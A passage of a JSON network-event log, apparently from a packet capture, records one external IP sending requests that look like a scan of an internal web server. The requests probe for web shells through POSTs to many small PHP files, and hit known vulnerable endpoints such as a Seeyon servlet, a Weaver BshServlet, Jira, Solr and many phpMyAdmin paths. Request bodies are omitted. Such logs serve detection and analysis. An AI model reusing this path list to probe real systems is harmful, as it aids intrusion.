          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "db1f3f66a80465a4d301fdcc8e0fe1eadc8df8686b51045d6761827ef1ab4d62",
          "frame_number": 1948,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256247.641969000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/linkx.php",
            "http.response_in": "1952",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/linkx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-758f6dcea55f7330d2b9edf9",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "0ac1505747d95c61631db1420f88e990d4001c411407e85f6fe76880ed6401f3",
          "frame_number": 1951,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256249.571656000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/kvast.php",
            "http.response_in": "1955",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/kvast.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7c9cc5a3fb1a5a48763d6baf",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "797895866e42e3c8163115d238a95ea7363cc682cd66ce597c67cf90c4954d1a",
          "frame_number": 1954,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256249.846670000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xiaobin.php",
            "http.response_in": "1958",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xiaobin.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1c2d17cea1464a9ed8fd021b",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "fcb9c5e6294ada43b98743ebcf2b19f76797de2cccf3571638fa8522dd5af218",
          "frame_number": 1957,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577256251.357602000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ppp.php",
            "http.response_in": "1961",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ppp.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6e8e5c8abba7cf1aeabcfa61",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
          "frame_number": 1960,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256253.280397000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ppp.php",
            "http.response_in": "1964",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ppp.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2ebb60e56959248cebec1c9c",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "2de5f6ac384ba39120f56ba6ed59c706c4a52d96fc5123575ed7fe0ec9c8f1a2",
          "frame_number": 1963,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256253.741748000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/lm.php",
            "http.response_in": "1967",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/lm.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6d891c6bb87fdf76d8a95609",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1966,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256255.154337000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zzz.php",
            "http.response_in": "1970",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zzz.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3ca14fc96f349d5d11efe871",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "b34276d8134d9ba52e9ff67f193b34c76e97f28e791f965f86108fd0360ef764",
          "frame_number": 1969,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577256257.763611000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/520.php",
            "http.response_in": "1981",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/520.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-175119cf666a9a7ca90103db",
          "src_port": 61744,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "067918e6f6b562d39358996bd0ac8ca5aedd37fea124afd6656e8a1328b14a47",
          "frame_number": 1979,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256278.052952000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/jkl.php",
            "http.response_in": "1984",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/jkl.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-86530909a59d8eda25ed18a2",
          "src_port": 61744,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "067918e6f6b562d39358996bd0ac8ca5aedd37fea124afd6656e8a1328b14a47",
          "frame_number": 1983,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256279.320568000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/lmn.php",
            "http.response_in": "1987",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/lmn.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ff3d10231b98a126de8659c1",
          "src_port": 61744,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "22d4e4edf6b669157f4d8b960b07e51f5d1189b481fe0d6c069c4a9c2e9b62f8",
          "frame_number": 1986,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256279.598483000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/bx.php",
            "http.response_in": "1990",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/bx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c77993c4a50cb077c0df790d",
          "src_port": 61744,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "fd392dc065349461b88b41e02c8a6376cc92a8420e9349aac77a0000170d783f",
          "frame_number": 1989,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577256279.874395000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/Moxin.PHP",
            "http.response_in": "1993",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/Moxin.PHP"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4c5a0ebf9a54de416afbae99",
          "src_port": 61744,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "c21ce16ee41a235a14a1cb8dde0712f14ecf2e509ca4708b5c3649936693fb72",
          "frame_number": 1992,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256280.655285000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/g.php",
            "http.response_in": "1996",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/g.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e86aa682b55696647e71cbe1",
          "src_port": 61744,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1995,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256280.962049000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/CCC.PHP",
            "http.response_in": "1999",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/CCC.PHP"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0f02ff9c83b97641022a66dc",
          "src_port": 61744,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1998,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256281.286066000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/CCCC.PHP",
            "http.response_in": "2002",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/CCCC.PHP"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f01614a89cbbddbfb2373524",
          "src_port": 61744,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 2001,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256282.452070000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/mobai.PHP",
            "http.response_in": "2005",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/mobai.PHP"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-19f18e589a25ee5d0f6844e7",
          "src_port": 61744,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 2004,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256284.155219000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/avast.php",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/avast.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7d73c0522336c25ba288b015",
          "src_port": 61744,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "968efc00e35199ff31b57763c07b10f7b03197f8c1b789ef42b13f8828a6cf85",
          "frame_number": 2008,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256289.264662000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0",
            "http.request.uri": "/%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74",
            "http.response_in": "2022",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2ade941cf9377b8dc42ef2ce",
          "src_port": 64046,
          "tcp_stream": 67,
          "udp_stream": null,
          "frame_number": 2020,
          "timestamp_epoch": "1577256293.200087000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0",
            "http.request.uri": "/secure/ContactAdministrators!default.jspa",
            "http.response_in": "2033",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/secure/ContactAdministrators!default.jspa"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0b0e4cf8f3452f3696010d8f",
          "src_port": 65245,
          "tcp_stream": 68,
          "udp_stream": null,
          "frame_number": 2031,
          "timestamp_epoch": "1577256304.170811000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0",
            "http.request.uri": "/weaver/bsh.servlet.BshServlet",
            "http.response_in": "2036",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/weaver/bsh.servlet.BshServlet"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ab8a773103526d6b9ca00cf5",
          "src_port": 65245,
          "tcp_stream": 68,
          "udp_stream": null,
          "frame_number": 2035,
          "timestamp_epoch": "1577256304.532786000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0",
            "http.request.uri": "/solr/",
            "http.response_in": "2039",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/solr/"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c8fffc7acf0c84826e89faca",
          "src_port": 65245,
          "tcp_stream": 68,
          "udp_stream": null,
          "frame_number": 2038,
          "timestamp_epoch": "1577256305.855285000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0",
            "http.request.uri": "/index.php",
            "http.response_in": "2042",
            "http.content_length": "196",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-340d94c2814c475cdd8b8afe",
          "src_port": 65245,
          "tcp_stream": 68,
          "udp_stream": null,
          "body_sha256": "9d78edbcd5ce074aea33ca46b6179acaea71b1da5037512696f654f6e1c8fd97",
          "frame_number": 2041,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 196,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 196,
          "timestamp_epoch": "1577256306.171632000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0",
            "http.request.uri": "/joomla/",
            "http.response_in": "2062",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/joomla/"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e332ce62ffa82b3bb6e23ec6",
          "src_port": 52375,
          "tcp_stream": 70,
          "udp_stream": null,
          "frame_number": 2060,
          "timestamp_epoch": "1577256333.918483000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/index.php",
            "http.response_in": "2070",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-81452646631aba745496f0ac",
          "src_port": 52375,
          "tcp_stream": 70,
          "udp_stream": null,
          "frame_number": 2069,
          "timestamp_epoch": "1577256335.096977000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpmyadmin/index.php",
            "http.response_in": "2074",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmyadmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1783a31340d1e1570a79d413",
          "src_port": 52375,
          "tcp_stream": 70,
          "udp_stream": null,
          "frame_number": 2072,
          "timestamp_epoch": "1577256336.022081000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin/index.php",
            "http.response_in": "2077",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8b4f2f2a5d443b1e922f375c",
          "src_port": 52375,
          "tcp_stream": 70,
          "udp_stream": null,
          "frame_number": 2076,
          "timestamp_epoch": "1577256337.564523000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/pmd/index.php",
            "http.response_in": "2080",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/pmd/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-206a479c7d276f6532a10e4c",
          "src_port": 52375,
          "tcp_stream": 70,
          "udp_stream": null,
          "frame_number": 2079,
          "timestamp_epoch": "1577256337.926148000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/pma/index.php",
            "http.response_in": "2083",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/pma/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-cbfd7b667041801b1fd1c8b0",
          "src_port": 52375,
          "tcp_stream": 70,
          "udp_stream": null,
          "frame_number": 2082,
          "timestamp_epoch": "1577256338.462650000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/PMA/index.php",
            "http.response_in": "2086",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/PMA/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0b647c196330b88a925ff807",
          "src_port": 52375,
          "tcp_stream": 70,
          "udp_stream": null,
          "frame_number": 2085,
          "timestamp_epoch": "1577256339.246546000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/PMA2/index.php",
            "http.response_in": "2089",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/PMA2/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8df6db1b02661797ec43fc96",
          "src_port": 52375,
          "tcp_stream": 70,
          "udp_stream": null,
          "frame_number": 2088,
          "timestamp_epoch": "1577256340.440832000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/pmamy/index.php",
            "http.response_in": "2092",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/pmamy/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7e839c801fe9b3859b556ba1",
          "src_port": 52375,
          "tcp_stream": 70,
          "udp_stream": null,
          "frame_number": 2091,
          "timestamp_epoch": "1577256341.737472000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/pmamy2/index.php",
            "http.response_in": "2095",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/pmamy2/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-466e4cb74c059a6ee73fb58c",
          "src_port": 52375,
          "tcp_stream": 70,
          "udp_stream": null,
          "frame_number": 2094,
          "timestamp_epoch": "1577256342.022273000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/mysql/index.php",
            "http.response_in": "2098",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/mysql/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6a12e5d0a0766952c467885e",
          "src_port": 52375,
          "tcp_stream": 70,
          "udp_stream": null,
          "frame_number": 2097,
          "timestamp_epoch": "1577256342.271411000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/admin/index.php",
            "http.response_in": "2109",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/admin/index.php"
          },
